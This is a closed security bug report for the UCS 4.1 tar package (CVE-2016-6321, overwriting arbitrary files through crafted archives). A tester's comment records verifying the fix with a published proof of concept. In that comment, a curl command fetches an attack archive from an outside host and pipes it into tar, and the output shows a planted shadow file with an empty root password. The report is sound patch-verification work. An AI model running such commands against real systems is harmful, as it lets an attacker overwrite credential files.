Bug 42893 - tar: overwrite arbitrary files through crafted files (4.1)
tar: overwrite arbitrary files through crafted files (4.1)
Status: CLOSED FIXED
Product: UCS
Classification: Unclassified
Component: Security updates
UCS 4.1
Other Linux
: P3 normal (vote)
: UCS 4.1-4-errata
Assigned To: Arvid Requate
Daniel Tröder
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Blocks: 42894
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Reported: 2016-11-08 19:37 CET by Arvid Requate
Modified: 2016-12-01 11:57 CET (History)
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Description Arvid Requate univentionstaff 2016-11-08 19:37:33 CET
Upstream Debian package version 1.26+dfsg-0.1+deb7u1 fixes:

* A vulnerability has been discovered in the tar package that could allow an attacker to overwrite arbitrary files through crafted files (CVE-2016-6321)
Comment 1 Arvid Requate univentionstaff 2016-11-10 21:20:32 CET
Advisory: tar.yaml
Comment 2 Daniel Tröder univentionstaff 2016-11-25 09:26:03 CET
OK: advisory
OK: tried POC:

root@slave45:~# wget http://updates-test.software-univention.de/4.0/maintained/4.0-0/amd64/tar_1.26+dfsg-0.1.37.201403250428_amd64.deb
root@slave45:~# dpkg -l tar
ii  tar                      1.26+dfsg-0.1.37. amd64

root@slave45:~# curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
tar: Entferne führende „etc/motd/../“ von Elementnamen
etc/motd/../etc/shadow

root@slave45:~# ls -l etc/
insgesamt 4
-rw------- 1 root root 21 Mär 11  2016 shadow

root@slave45:~# cat etc/shadow 
root::0:0:99999:7:::

root@slave45:~# rm -r etc

root@slave45:~# univention-upgrade --ignoressh --ignoreterm
root@slave45:~# dpkg -l tar
ii  tar                      1.26+dfsg-0.1.38. amd64


root@slave45:~# curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
tar: Entferne führende „etc/motd/../“ von Elementnamen
tar: etc/motd/../etc/shadow: Member name contains '..'
tar: Beende mit Fehlerstatus aufgrund vorheriger Fehler

root@slave45:~# ls -la etc
ls: Zugriff auf etc nicht möglich: Datei oder Verzeichnis nicht gefunden
Comment 3 Janek Walkenhorst univentionstaff 2016-12-01 11:57:30 CET
<http://errata.software-univention.de/ucs/4.1/342.html>